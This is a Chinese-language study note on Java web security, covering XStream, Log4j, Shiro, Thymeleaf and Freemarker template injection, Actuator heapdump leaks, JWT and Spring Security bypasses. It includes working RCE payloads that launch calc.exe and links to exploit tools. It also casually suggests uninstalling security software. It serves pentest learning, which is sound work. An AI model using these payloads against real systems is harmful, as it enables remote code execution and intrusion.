虽然 最终执行点都是 readObject,但 数据入口和解析引擎不同,这在安全攻防中意义重大:

  • 数据格式(Bypass WAF 的关键):

    • 原生反序列化:必须接收并解析特定的二进制字节流(特征值开头为 aced 0005)。大多数网络防火墙(WAF)只要拦截包含该特征的流量即可防御。

    • XStream 反序列化:接收的是纯文本的 XML 格式数据。它相当于给原生的反序列化漏洞套上了一层 XML 的外壳,这种伪装极大概率能绕过只针对二进制流的安全检测设备。

  • 依赖链的复用: 正是因为 XStream 提供了 serialization="custom" 这种机制,安全研究员发现:所有能够在 Java 原生反序列化中使用的利用链(例如经典的 CommonsCollections 链,底层全是基于重写 readObject),都可以几乎原封不动地被转换成 XML 格式,通过 XStream 打出去。

总结

XStream 漏洞之所以危害巨大,正是因为它作为一个文本解析库,却提供了一个可以完美桥接并触发原生二进制反序列化机制的“接口”。你看到的没有区别,是因为在这个特定的 POC 中,XStream 被攻击者当作了触发原生 readObject 的“跳板”。

自带类的调用链固定版本的CVE

String payload = "<sorted-set>\n" +
                " <dynamic-proxy>\n" +
                " <interface>java.lang.Comparable</interface>\n" +
                " <handler class=\"java.beans.EventHandler\">\n" +
                " <target class=\"java.lang.ProcessBuilder\">\n" +
                " <command>\n" +
                " <string>calc.exe</string>\n" +
                " </command>\n" +
                " </target>\n" +
                " <action>start</action>\n" +
                " </handler>\n" +
                " </dynamic-proxy>\n" +
                "</sorted-set>";

修改版本为1.4.15

结论:反序列化时会调用类里的readObject方法(类需继承序列化接口)
利用:已知类的调用方法 自带类的调用链固定版本的CVE
黑盒看传递XML数据尝试替换 白盒看库版本和反序列化方法和对应可控变量
参考:https://mp.weixin.qq.com/s/M_oQyZYQEFu0nbG-IpJt_A

10.log4j

一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。

当Log4j记录包含 ${...} 语法的字符串时,引擎会解析该表达式并将其替换为对应的值。

String code="${java:os}";
logger.error("{}",code);

如果不行可以试着把安全防护的软件卸载就可以了

演示:2.14.1版本
结论:尝试输出日志时可利用JNDI注入触发RCE
利用:黑盒在各种地方插入 白盒看库版本和反序列化方法和对应可控变量
参考:https://mp.weixin.qq.com/s/95Jxj3R9q95CFhCn86IiYA

11.Shiro

一个强大且易用的安全框架,可用于身份验证、授权、加密和会话管理等。

工具原理

  • 特征探测:工具首先向目标发送带有特殊身份验证字段(如任意的 rememberMe=xxx)的 HTTP 请求包。通过读取服务器返回的 HTTP 响应包头部是否存在 Set-Cookie: rememberMe=deleteMe,来判断目标是否使用了 Shiro 框架。

  • 密钥 (Key) 爆破:Shiro 漏洞的核心在于 AES 加密密钥硬编码。工具内部预置了常见的密钥字典。它会遍历这些密钥,将一段无害的测试载荷加密后塞入数据包的 rememberMe Cookie 中发送。如果返回的数据包中不再包含 deleteMe,或者触发了特定的时间延迟/DNSLog 记录,工具据此判定密钥正确。

  • 利用链与回显探测:在获取正确密钥后,工具会将不同的 Java 反序列化利用链(如 CB、CC 链)和内存马注入代码加密,再次通过数据包发送。

开发技术:利用AI提示写一个
结论:配置不当(未授权)或版本安全漏洞
利用:固定版本的CVE利用
黑盒看身份验证数据包 白盒看版本及对应安全问题
参考:https://mp.weixin.qq.com/s/kmGcrVmaLi0Db_jwKKNXag

12.SpringBoot

类 似于php语言中的thinkphp,不过要更加优秀。
参考:https://springdoc.cn/spring-boot/

路由映射

@RequestMapping @GetMapping@PostMapping

参数传递

@RequestParam

数据响应

@RestController(响应) @Controller(请求)
@RestController相当于@ResponseBody+@Controller

模板注入

Thymeleaf

参考:https://xz.aliyun.com/news/9962

新建项目

2、配置application.properties修改缓存 

3、创建模板目录和文件,文件定义修改变量

4、新建Controller目录及文件,指定路由配置

    @RequestMapping("/index")
    public String index(Model model,@RequestParam String lang) {
//替换模板html文件中的data变量值
model.addAttribute("data", "Hello xiaodi");
//使用index+变量lang模板文件
        return "index"+lang;
    }
}

利用条件:Thymeleaf漏洞版本,可控渲染模板文件
Poc:__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

Freemarker

参考:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew

1、新建SpringBoot项目 包含Web,Freemarker

2、配置application.properties修改缓存

3、创建模板目录和文件,文件定义修改变量

4、新建Controller目录及文件,指定路由配置

5、测试POC

 <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签

Velocity

参考:https://blog.csdn.net/2401_83799022/article/details/141600988

Actuator

基本介绍

SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。

引入依赖,当创建项目时未选择 actuator 依赖时,可在配置文件 pom.xml 中自行引入

<dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

配置监控

# 这个配置项是用于指定要暴露的web端点。*表示暴露所有端点。
management.endpoints.web.exposure.include=*
# 这个配置项用于指定是否显示健康检查的详细信息。always表示总是显示详细信息。
management.endpoint.health.show-details=always

默认情况下

然后就可以通过上面的断点 图访问到actutor,会泄露一些关键信息

系统上的环境变量

改为安全配置

安全配置-application.properties配置文件

关闭某些端点的启用,防止敏感信息泄露

management.endpoint.env.enabled=false
management.endpoint.heapdump.enabled=false

再次尝试访问/actuator/env,/actuator/heapdump就会访问失败

暴露-基于application.yml配置文件

management:
endpoints:
web:
exposure:
include: '*'

安全配置-application.yml配置文件

management:
endpoint:
heapdump:
enabled: false #启用接口关闭
env:
enabled: false #启用接口关闭

Server&Client端界面

Server

@EnableAdminServer

Client

application.properties 配置信息

server.port=8080

spring.boot.admin.client.url=http://127.0.0.1:8088

management.endpoints.web.exposure.include=*
management.endpoints.jmx.exposure.include=*
management.endpoint.health.show-details=always


#spring.boot.admin.client.instance.prefer-ip=true
#spring.boot.admin.client.instance.metadata.user.name=admin
#spring.boot.admin.client.instance.metadata.user.password=admin
#spring.boot.admin.client.instance.service-base-url=http://127.0.0.1:8080
#spring.boot.admin.client.instance

服务端和客户端同时启动项目

效果:服务端等待客户端的加入,加入后从服务端页面就能监控客户端应用

heapdump泄漏

数据库配置信息

运行项目后,访问网页

heapdump文件需要借助工具查看

自动化-JDumpSpider提取器

https://github.com/whwlsfb/JDumpSpider

半手工-heapdump_tool提取器

https://github.com/wyzxxz/heapdump_tool

分析提取出敏感信息(配置帐号密码,接口信息 数据库 短信 云应用等配置)

额外安全-SpringCloud Gateway RCE(CVE-2022-22947)
漏洞文章参考:https://github.com/LandGrey/SpringBootVulExploit
漏洞利用工具:https://github.com/wh1t3zer/SpringBootVul-GUI
手工复现参考:https://www.cnblogs.com/qgg4588/p/18104875

Swagger

Swagger是当下比较流行的实时接口文档生成工具。接口文档是当前前后端分离项目中必不可少的工具,在前后端开发之前,后端要先出接口文档,前端根据接口文档来进行项目的开发,双方开发结束后在进行联调测试。
简单来说就是用来调试接口用的,在WEB页面进行调试。
参考:https://blog.csdn.net/lsqingfeng/article/details/123678701
引入依赖

<--2.9.2版本-->
<dependency>
    <groupId>io.springfox</groupId>
    <artifactId>springfox-swagger2</artifactId>
    <version>2.9.2</version>
</dependency>
<dependency>
    <groupId>io.springfox</groupId>
    <artifactId>springfox-swagger-ui</artifactId>
    <version>2.9.2</version>
</dependency>
<--3.0.0版本-->
<dependency>
  <groupId>io.springfox</groupId>
  <artifactId>springfox-boot-starter</artifactId>
  <version>3.0.0</version>
</dependency>

application.properties配置文件

spring.mvc.pathmatch.matching-strategy=ant-path-matcher

application.yml配置文件(有些应用会用这个文件)

spring
mvc:
pathmatch:
matching-strategy: ant_path_matcher

2.X版本启动需要添加@EnableSwagger2

2.X访问路径:http ://ip:port/swagger-ui.html

3.X版本启动需要添加@EnableOpenApi

3.X访问路径:http://ip :port/swagger-ui/index.html

自动化测试工具:Apifox

图示url地址即为Swagger JSON ,将其导入

导入后点击自动化测试,点击加号创建测试场景,导入数据后测试

但是这种自动化测试仅用于研发或 QA 人员验证接口的连通性(如 HTTP 状态码是否为 200)和返回值数据结构。这属于功能测试,如果要测试“非预期输入能否导致系统异常或权限绕过”,可以将工具的网络代理指向本地的 Burp Suite(例如 127.0.0.1:8080),把这款工具当作一个高效的“发包器”。利用它已经构造好的完整 HTTP 请求(包含 Headers、正确的 JSON 结构),发送到 Burp Suite 进行拦截和深度修改。

13.JWT

身份验证的常见技术:

1、JWT(不仅仅局限于java,其他语言也会用)
2、Shiro
3、Spring Security
4、OAuth 2.0(微信登录、微博登录、QQ登录,安全问题较少)
5、SSO(安全问题较少)
6、JAAS(用的比较少)

JWT技术

JWT(JSON Web Token)是由服务端用加密 算法对信息签名来保证其完整性和不可伪造;Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息。

JWT用于身份认证、会话维持等。由三部分组成,header(定义好加密算法)、payload(核心部分,用户输入的口令等关键身份凭证信息)与signature(加密算法里的密钥等信息)。其中每个部分中间都会有个.进行间隔

Header(头部): JWT 的头部通常包含两部分信息:声明类型(typ)和使用的签名算法(alg)。这些信息以 JSON 格式存在,然后进行 Base64 编码,形成 JWT 的第一个部分。头部用于描述关于该 JWT 的元数据信息。

{
  "alg": "HS256",
  "typ": "JWT"
}


Payload(负载): JWT 的负载包含有关 JWT 主题(subject)及其它声明的信息。与头部一样,负载也是以 JSON 格式存在,然后进行 Base64 编码,形成 JWT 的第二个部分。

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}


Signature(签名): JWT 的签名是由头部、负载以及一个密钥生成的,用于验证 JWT 的真实性和完整性。签名是由指定的签名算法对经过 Base64 编码的头部和负载组合而成的字符串进行签名生成的。

例如,使用 HMAC SHA-256 算法生成签名:

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret
)

引入依赖

<dependency>
<groupId>com.auth0</groupId>
<artifactId>java-jwt</artifactId>
<version>3.4.0</version>
</dependency>

创建JWT

JWT.create()
                //.withHeader(map)
                .withClaim("userid",1)
                .withClaim("username","wcy")
                .withClaim("password",123456)
                .sign(Algorithm.HMAC256("wcy"));

这个值可以拿去JWT官网去解密https://jwt.io/

解密JWT

//构建解密注册
JWTVerifier jwt = JWT.require(Algorithm.HMAC256("xiaodisec")).build();
//解密注册数据
DecodedJWT verify = jwt.verify(jwtdata);
//提取解密数据
Integer userid = verify.getClaim("userid").asInt();

登录校验

在未知的算法密钥下,即使修改JWT值里的内容去伪造用户,也无法达到认证成功

把这个值解密

将错误的数据修改为正确的密码去检验会直接报错

添加正确的密钥就会通过

安全问题

参考:https://mp.weixin.qq.com/s/xH_v825bNqDszwmMOe8CBw

14.Security

Spring Security安全框架,是Spring Boot底层安全模块默认的技术选型,可以实现强大的Web安全控制。

WebSecurityConfigurerAdapter:自定义Security策略
AuthenticationManagerBuilder:自定义认证策略
@EnableWebSecurity:开启WebSecurity模式

"认证"和"授权"(访问控制) 
"认证"(Authentication)
"授权"(Authorization)
这个概念是通用的,而不是只在 Spring Security 中存在。
参考官网:https://spring.io/projects/spring-security

新建Spring Security +web+thymeleaf项目

配置application.properties模版解析

添加前端页面文件到templates目录

创建路由控制器并指向前端页面文件

@Controller
public class RouterController {
    @RequestMapping("/index")
    public String index() {
        return "index";
    }
 
    @RequestMapping("/toLogin")
    public String toLogin() {
        return "views/login";
    }
 
    @RequestMapping("/level1/{id}")
    public String level1(@PathVariable("id") int id) {
        return "views/level1/"+id;
    }
 
    @RequestMapping("/level2/{id}")
    public String level2(@PathVariable("id") int id) {
        return "views/level2/"+id;
    }
 
    @RequestMapping("/level3/{id}")
    public String level3(@PathVariable("id") int id) {
        return "views/level3/"+id;
    }
 
}

创建Security授权文件并开启访问策略

@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
 
http.authorizeHttpRequests()
                .antMatchers("/").permitAll()
                .antMatchers("/level1/**").hasRole("vip1")
                .antMatchers("/level2/**").hasRole("vip2")
                .antMatchers("/level3/**").hasRole("vip3");
http.formLogin();
    }

添加认证用户密码并进行密码加密操作

重写认证

@Override
    protected void configure(AuthenticationManagerBuilder auth) throws Exception {
        // 启用基于内存的身份验证方式。在渗透测试或实战分析中,此种硬编码配置通常仅出现于开发测试环境或简易靶场中,生产环境通常采用数据库或目录服务进行鉴权。
        auth.inMemoryAuthentication()
                // 指定密码编码器为 BCrypt。Spring Security 5.x 及以上版本强制要求配置 PasswordEncoder,否则在登录比对时会抛出异常。
                .passwordEncoder(new BCryptPasswordEncoder())

                // 构建第一个用户,指定用户名为 "admin"
                .withUser("admin")
                // 设置该用户的登录密码。必须将明文密码 "123456" 使用 BCrypt 加密后存入内存,登录时框架会自动将用户输入的明文与此处的密文哈希进行比对。
                .password(new BCryptPasswordEncoder().encode("123456"))
                // 赋予 "admin" 用户三个权限角色:vip1, vip2, vip3。这用于与 HTTP 请求拦截配置(如 .hasRole("vip1"))进行权限匹配。
                .roles("vip1", "vip2", "vip3")

                // .and() 充当连接符,用于结束当前用户的配置并链式开启下一个用户的配置。
                .and()

                // 构建第二个用户
                .withUser("wcy01")
                .password(new BCryptPasswordEncoder().encode("123456"))
                .roles("vip1")

                .and()


                .withUser("wcy02")
                .password(new BCryptPasswordEncoder().encode("123456"))
                .roles("vip2")

                .and()


                .withUser("wcy03")
                .password(new BCryptPasswordEncoder().encode("123456"))
                .roles("vip3");
    }

登陆后发现界面都能访问,而特定权限的用户只能访问权限所对应的界面

安全问题

https://mp.weixin.qq.com/s/5tj6O4TA04QWyWnsd-EmEA
https://mp.weixin.qq.com/s/M1FiPKJRAWgwaKCtyNW8eQ
版本漏洞导致的安全问题

本身的代码不安全写法导致安全问题

演示:antMatchers 配置认证绕过(代码不安全写法)

符号 描述 能否匹配 /level3/1 能否匹配 /level3/1/2
(/level3) 精确匹配 ❌ 否 ❌ 否
* (/level3/*) 匹配单层目录 ✅ 是 ❌ 否 (跨层了)
** (/level3/**) 匹配任意层目录 ✅ 是 ✅ 是

CVE-2022-31692:Spring Security 授权绕过漏洞总结

CVE-2022-31692 是一个典型且高危的权限绕过漏洞。它的核心在于 Spring Security 在特定配置下,未能正确处理服务器内部的请求转发(FORWARD)或包含(INCLUDE),导致鉴权机制失效。

核心条件:

  • 版本受限:使用了受影响的 Spring Security 版本(如 5.6.0 - 5.6.8,5.7.0 - 5.7.4)。

  • 配置方法:在 SecurityConfig 中使用了较新的 authorizeHttpRequests() 方法进行权限配置(而不是旧版的 authorizeRequests())。

  • 路由机制:应用程序内部存在将低权限(或公开)接口通过 FORWARDINCLUDE 转发到高权限接口的业务逻辑,且过滤器链被配置为拦截这些内部调度。

本身没有权限的用户成功访问到

15.打包

jar

maven-clean-package 

java -jar xxxxxx.jar

War

pom.xml加入或修改

public class TestSwaggerDemoApplication extends SpringBootServletInitializer
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(TestSwaggerDemoApplication.class);
}

maven-clean-package

war放置tomcat后启动

安全:JAVAEE源码架构

无源码下载泄漏风险,JAR泄漏也需反编译(jar文件反编译)

不是所有的jar包都能反编译,有些jar包会用到混肴技术(类似APP加壳)

更多推荐